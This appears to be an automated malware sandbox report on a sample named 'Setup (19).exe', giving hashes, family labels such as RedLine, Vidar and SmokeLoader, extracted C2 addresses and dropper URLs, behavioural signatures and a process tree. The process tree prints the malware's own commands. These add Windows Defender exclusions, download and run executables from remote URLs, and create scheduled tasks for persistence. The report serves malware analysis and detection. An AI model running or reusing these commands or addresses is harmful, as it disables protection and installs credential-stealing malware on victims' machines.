Overview

overview

10

Static

static

Setup (1).exe

windows7_x64

10

Setup (1).exe

windows10_x64

10

Setup (10).exe

windows7_x64

10

Setup (10).exe

windows10_x64

10

Setup (11).exe

windows7_x64

10

Setup (11).exe

windows10_x64

10

Setup (12).exe

windows7_x64

10

Setup (12).exe

windows10_x64

10

Setup (13).exe

windows7_x64

10

Setup (13).exe

windows10_x64

10

Setup (14).exe

windows7_x64

10

Setup (14).exe

windows10_x64

10

Setup (15).exe

windows7_x64

10

Setup (15).exe

windows10_x64

10

Setup (16).exe

windows7_x64

10

Setup (16).exe

windows10_x64

10

Setup (17).exe

windows7_x64

10

Setup (17).exe

windows10_x64

10

Setup (18).exe

windows7_x64

10

Setup (18).exe

windows10_x64

10

Setup (19).exe

windows7_x64

10

Setup (19).exe

windows10_x64

10

Setup (2).exe

windows7_x64

10

Setup (2).exe

windows10_x64

10

Setup (20).exe

windows7_x64

10

Setup (20).exe

windows10_x64

10

Setup (21).exe

windows7_x64

10

Setup (21).exe

windows10_x64

10

Setup (22).exe

windows7_x64

10

Setup (22).exe

windows10_x64

10

Setup (23).exe

windows7_x64

10

Setup (23).exe

windows10_x64

10

Resubmissions

15-10-2024 15:36

241015-s1zlzasdkc 10

01-07-2024 18:32

240701-w6yteawhmq 10

01-07-2024 14:52

240701-r82wmaxdnd 10

01-07-2024 14:52

240701-r8syqa1dpp 10

11-03-2024 21:22

240311-z8dsssgg58 10

01-09-2021 13:18

210901-5bmxjspa5s 10

01-09-2021 13:04

210901-te4btfspqa 10

01-09-2021 05:12

210901-4wnkwm1p3j 10

31-08-2021 21:47

210831-41rp97dma2 10

31-08-2021 19:51

210831-359awwatje 10

Analysis

  • max time kernel
    1807s
  • max time network
    1823s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    21-08-2021 10:21

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Setup (19).exe

  • Size

    631KB

  • MD5

    cb927513ff8ebff4dd52a47f7e42f934

  • SHA1

    0de47c02a8adc4940a6c18621b4e4a619641d029

  • SHA256

    fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f

  • SHA512

    988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Score
10/10
gluptebametasploitnetsupportredlinesmokeloadersocelarsvidar19.08937@gerhdhddibildsecond_7.5kwwwbackdoordiscoverydropperevasioninfostealerloaderpersistenceratspywarestealerthemidatrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://dl.uploadgram.me/6120bc6269f31h?raw

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://dl.uploadgram.me/6120bcfeb5393h?raw

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://dl.uploadgram.me/6120c8f91373ch?raw

Extracted

Family

redline

Botnet

Second_7.5K

C2

45.14.49.200:27625

Extracted

Family

redline

Botnet

www

C2

185.204.109.146:54891

Extracted

Family

redline

Botnet

dibild

C2

135.148.139.222:33569

Extracted

Family

redline

Botnet

19.08

C2

95.181.172.100:6795

Extracted

Family

smokeloader

Version

2020

C2

http://aucmoney.com/upload/

http://thegymmum.com/upload/

http://atvcampingtrips.com/upload/

http://kuapakualaman.com/upload/

http://renatazarazua.com/upload/

http://nasufmutlu.com/upload/
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

@Gerhdhd

C2

46.8.19.177:41228

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

vidar

Version

40.1

Botnet

937

C2

https://eduarroma.tumblr.com/

Attributes
  • profile_id

    937

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba Payload 2 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

    ratnetsupport
  • Process spawned unexpected child process 4 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 11 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Vidar Stealer 2 IoCs
    stealer
  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 4 IoCs
  • Executes dropped EXE 64 IoCs
  • Checks BIOS information in registry 2 TTPs 18 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 11 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 12 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 12 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 26 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs
  • Suspicious use of SetThreadContext 11 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 30 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 29 IoCs
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 5 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 17 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 2 IoCs
  • Script User-Agent 32 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 23 IoCs
  • Suspicious behavior: SetClipboardViewer 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 62 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s UserManager
    1⤵
      PID:1232
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s SENS
      1⤵
        PID:1408
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
        1⤵
          PID:1820
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Themes
          1⤵
            PID:1192
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
            1⤵
              PID:2492
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
              1⤵
                PID:2448
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                1⤵
                  PID:1056
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                  1⤵
                  • Drops file in System32 directory
                  PID:788
                  • C:\Users\Admin\AppData\Roaming\cfsafjc
                    C:\Users\Admin\AppData\Roaming\cfsafjc
                    2⤵
                    • Checks SCSI registry key(s)
                    • Suspicious behavior: MapViewOfSection
                    PID:6596
                  • C:\Users\Admin\AppData\Roaming\cfsafjc
                    C:\Users\Admin\AppData\Roaming\cfsafjc
                    2⤵
                    • Suspicious behavior: MapViewOfSection
                    PID:7324
                  • C:\Users\Admin\AppData\Roaming\cfsafjc
                    C:\Users\Admin\AppData\Roaming\cfsafjc
                    2⤵
                    • Checks SCSI registry key(s)
                    • Suspicious behavior: MapViewOfSection
                    PID:3420
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Browser
                  1⤵
                    PID:2836
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                    1⤵
                      PID:2764
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                      1⤵
                        PID:2708
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                        1⤵
                          PID:1004
                        • C:\Users\Admin\AppData\Local\Temp\Setup (19).exe
                          "C:\Users\Admin\AppData\Local\Temp\Setup (19).exe"
                          1⤵
                          • Checks computer location settings
                          • Modifies system certificate store
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of WriteProcessMemory
                          PID:3128
                          • C:\Users\Admin\Documents\tfmFgK9w71TpTpJqhUlQRQle.exe
                            "C:\Users\Admin\Documents\tfmFgK9w71TpTpJqhUlQRQle.exe"
                            2⤵
                            • Executes dropped EXE
                            PID:3676
                            • C:\Users\Admin\Documents\tfmFgK9w71TpTpJqhUlQRQle.exe
                              C:\Users\Admin\Documents\tfmFgK9w71TpTpJqhUlQRQle.exe
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4360
                          • C:\Users\Admin\Documents\uwtBY5_fgfWhsQUfzRGn9ts8.exe
                            "C:\Users\Admin\Documents\uwtBY5_fgfWhsQUfzRGn9ts8.exe"
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4052
                          • C:\Users\Admin\Documents\MCy69zYoC6A83qNV7PWC49cY.exe
                            "C:\Users\Admin\Documents\MCy69zYoC6A83qNV7PWC49cY.exe"
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • Suspicious use of WriteProcessMemory
                            PID:2264
                            • C:\Users\Admin\Documents\MCy69zYoC6A83qNV7PWC49cY.exe
                              C:\Users\Admin\Documents\MCy69zYoC6A83qNV7PWC49cY.exe
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4380
                          • C:\Users\Admin\Documents\WgAQMBbuvnZa4Uim1cKe4vXj.exe
                            "C:\Users\Admin\Documents\WgAQMBbuvnZa4Uim1cKe4vXj.exe"
                            2⤵
                            • Executes dropped EXE
                            • Checks BIOS information in registry
                            • Checks whether UAC is enabled
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3336
                          • C:\Users\Admin\Documents\4g9oUp8jAFefeykFTkbWSBy4.exe
                            "C:\Users\Admin\Documents\4g9oUp8jAFefeykFTkbWSBy4.exe"
                            2⤵
                            • Executes dropped EXE
                            PID:4044
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', '%Temp%\\installer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', '%AppData%\\RuntimeBroker.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120c8f91373ch?raw', '%Temp%\\launcher.exe') & powershell Start-Process -FilePath '%Temp%\\installer.exe' & powershell Start-Process -FilePath '%AppData%\\RuntimeBroker.exe' & powershell Start-Process -FilePath '%Temp%\\launcher.exe' & exit
                              3⤵
                                PID:4824
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                  4⤵
                                    PID:4428
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                    4⤵
                                      PID:7116
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                      4⤵
                                        PID:6724
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
                                        4⤵
                                          PID:7876
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', 'C:\Users\Admin\AppData\Local\Temp\\installer.exe')
                                          4⤵
                                            PID:9132
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', 'C:\Users\Admin\AppData\Roaming\\RuntimeBroker.exe')
                                            4⤵
                                            • Blocklisted process makes network request
                                            PID:5372
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120c8f91373ch?raw', 'C:\Users\Admin\AppData\Local\Temp\\launcher.exe')
                                            4⤵
                                              PID:9172
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\installer.exe'
                                              4⤵
                                                PID:6812
                                                • C:\Users\Admin\AppData\Local\Temp\installer.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\installer.exe"
                                                  5⤵
                                                    PID:1868
                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                      "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                      6⤵
                                                        PID:2300
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                          7⤵
                                                            PID:388
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                            7⤵
                                                              PID:188
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                                              7⤵
                                                                PID:1328
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
                                                                7⤵
                                                                  PID:8972
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Users\Admin\AppData\Local\Temp\installer.exe"
                                                                6⤵
                                                                  PID:8816
                                                                  • C:\Windows\System32\Conhost.exe
                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                    7⤵
                                                                    • Drops file in Drivers directory
                                                                    • Executes dropped EXE
                                                                    • Adds Run key to start application
                                                                    • Drops file in Program Files directory
                                                                    PID:6276
                                                                  • C:\Users\Admin\AppData\Local\Temp\svchost32.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Users\Admin\AppData\Local\Temp\installer.exe"
                                                                    7⤵
                                                                      PID:4932
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' & exit
                                                                        8⤵
                                                                          PID:5624
                                                                          • C:\Windows\system32\schtasks.exe
                                                                            schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"'
                                                                            9⤵
                                                                            • Creates scheduled task(s)
                                                                            PID:6944
                                                                        • C:\Windows\system32\services32.exe
                                                                          "C:\Windows\system32\services32.exe"
                                                                          8⤵
                                                                            PID:6860
                                                                            • C:\Windows\system32\cmd.exe
                                                                              "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                                              9⤵
                                                                                PID:9060
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                                  10⤵
                                                                                    PID:8508
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                                                    10⤵
                                                                                      PID:8828
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                                                                      10⤵
                                                                                        PID:8636
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
                                                                                        10⤵
                                                                                          PID:8840
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Windows\system32\services32.exe"
                                                                                        9⤵
                                                                                          PID:9156
                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            10⤵
                                                                                            • Suspicious use of SendNotifyMessage
                                                                                            PID:8544
                                                                                          • C:\Users\Admin\AppData\Local\Temp\svchost32.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Windows\system32\services32.exe"
                                                                                            10⤵
                                                                                            • Drops file in System32 directory
                                                                                            PID:7556
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' & exit
                                                                                              11⤵
                                                                                              • Drops file in System32 directory
                                                                                              PID:4932
                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                12⤵
                                                                                                  PID:5624
                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                  schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"'
                                                                                                  12⤵
                                                                                                  • Creates scheduled task(s)
                                                                                                  PID:7744
                                                                                              • C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
                                                                                                "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
                                                                                                11⤵
                                                                                                  PID:7460
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost32.exe"
                                                                                                  11⤵
                                                                                                    PID:4156
                                                                                                    • C:\Windows\system32\choice.exe
                                                                                                      choice /C Y /N /D Y /T 3
                                                                                                      12⤵
                                                                                                        PID:4836
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost32.exe"
                                                                                                8⤵
                                                                                                  PID:6548
                                                                                                  • C:\Windows\system32\choice.exe
                                                                                                    choice /C Y /N /D Y /T 3
                                                                                                    9⤵
                                                                                                      PID:9168
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Roaming\\RuntimeBroker.exe'
                                                                                            4⤵
                                                                                              PID:7976
                                                                                              • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
                                                                                                "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
                                                                                                5⤵
                                                                                                • Adds Run key to start application
                                                                                                • Suspicious behavior: SetClipboardViewer
                                                                                                PID:8324
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\launcher.exe'
                                                                                              4⤵
                                                                                                PID:8504
                                                                                                • C:\Users\Admin\AppData\Local\Temp\launcher.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\launcher.exe"
                                                                                                  5⤵
                                                                                                  • Suspicious use of SetThreadContext
                                                                                                  PID:8144
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\launcher.exe
                                                                                                    "{path}"
                                                                                                    6⤵
                                                                                                      PID:1784
                                                                                            • C:\Users\Admin\Documents\IvXEuwW59N_cXWlDbgjIyNx7.exe
                                                                                              "C:\Users\Admin\Documents\IvXEuwW59N_cXWlDbgjIyNx7.exe"
                                                                                              2⤵
                                                                                              • Executes dropped EXE
                                                                                              • Suspicious use of SetThreadContext
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:2852
                                                                                              • C:\Users\Admin\Documents\IvXEuwW59N_cXWlDbgjIyNx7.exe
                                                                                                C:\Users\Admin\Documents\IvXEuwW59N_cXWlDbgjIyNx7.exe
                                                                                                3⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:4388
                                                                                              • C:\Users\Admin\Documents\IvXEuwW59N_cXWlDbgjIyNx7.exe
                                                                                                C:\Users\Admin\Documents\IvXEuwW59N_cXWlDbgjIyNx7.exe
                                                                                                3⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4564
                                                                                            • C:\Users\Admin\Documents\gdCjIZ3vQLrTFWKdOezjL1wn.exe
                                                                                              "C:\Users\Admin\Documents\gdCjIZ3vQLrTFWKdOezjL1wn.exe"
                                                                                              2⤵
                                                                                              • Executes dropped EXE
                                                                                              • Suspicious use of SetThreadContext
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:2152
                                                                                              • C:\Users\Admin\Documents\gdCjIZ3vQLrTFWKdOezjL1wn.exe
                                                                                                C:\Users\Admin\Documents\gdCjIZ3vQLrTFWKdOezjL1wn.exe
                                                                                                3⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4396
                                                                                            • C:\Users\Admin\Documents\Jehn52WtbMKZ9kxobh4J4A03.exe
                                                                                              "C:\Users\Admin\Documents\Jehn52WtbMKZ9kxobh4J4A03.exe"
                                                                                              2⤵
                                                                                              • Executes dropped EXE
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:1184
                                                                                            • C:\Users\Admin\Documents\Bl4aeKqISbgmfj5TPTrnlG3E.exe
                                                                                              "C:\Users\Admin\Documents\Bl4aeKqISbgmfj5TPTrnlG3E.exe"
                                                                                              2⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:2160
                                                                                              • C:\Users\Admin\Documents\Bl4aeKqISbgmfj5TPTrnlG3E.exe
                                                                                                "C:\Users\Admin\Documents\Bl4aeKqISbgmfj5TPTrnlG3E.exe" -q
                                                                                                3⤵
                                                                                                  PID:5032
                                                                                              • C:\Users\Admin\Documents\0NKIqxJZOxkSqcoqQk5gff41.exe
                                                                                                "C:\Users\Admin\Documents\0NKIqxJZOxkSqcoqQk5gff41.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Checks BIOS information in registry
                                                                                                • Checks whether UAC is enabled
                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:2136
                                                                                              • C:\Users\Admin\Documents\H_GAN4lymZYNIe2SYb1o6PjL.exe
                                                                                                "C:\Users\Admin\Documents\H_GAN4lymZYNIe2SYb1o6PjL.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Checks SCSI registry key(s)
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                PID:3820
                                                                                              • C:\Users\Admin\Documents\9V6mnXHdynq1s7PpT244URZa.exe
                                                                                                "C:\Users\Admin\Documents\9V6mnXHdynq1s7PpT244URZa.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Checks BIOS information in registry
                                                                                                • Checks whether UAC is enabled
                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:3492
                                                                                              • C:\Users\Admin\Documents\qhRWdCBRrOEeIDbo7QDZo256.exe
                                                                                                "C:\Users\Admin\Documents\qhRWdCBRrOEeIDbo7QDZo256.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:2624
                                                                                                • C:\Users\Admin\AppData\Roaming\4726380.exe
                                                                                                  "C:\Users\Admin\AppData\Roaming\4726380.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:3572
                                                                                                • C:\Users\Admin\AppData\Roaming\7300426.exe
                                                                                                  "C:\Users\Admin\AppData\Roaming\7300426.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Adds Run key to start application
                                                                                                  PID:1996
                                                                                                  • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                    "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:4716
                                                                                                • C:\Users\Admin\AppData\Roaming\2310645.exe
                                                                                                  "C:\Users\Admin\AppData\Roaming\2310645.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:4468
                                                                                              • C:\Users\Admin\Documents\oYJ4oarMVlCEKSuYDbZ6GPPw.exe
                                                                                                "C:\Users\Admin\Documents\oYJ4oarMVlCEKSuYDbZ6GPPw.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:4028
                                                                                                • C:\Users\Admin\Documents\oYJ4oarMVlCEKSuYDbZ6GPPw.exe
                                                                                                  "C:\Users\Admin\Documents\oYJ4oarMVlCEKSuYDbZ6GPPw.exe"
                                                                                                  3⤵
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:8236
                                                                                              • C:\Users\Admin\Documents\Ls6HCRy7CjYIm6XRO_DMyU5M.exe
                                                                                                "C:\Users\Admin\Documents\Ls6HCRy7CjYIm6XRO_DMyU5M.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Loads dropped DLL
                                                                                                PID:508
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 760
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:5000
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 784
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:3260
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 820
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:4080
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 856
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:2032
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 956
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:5176
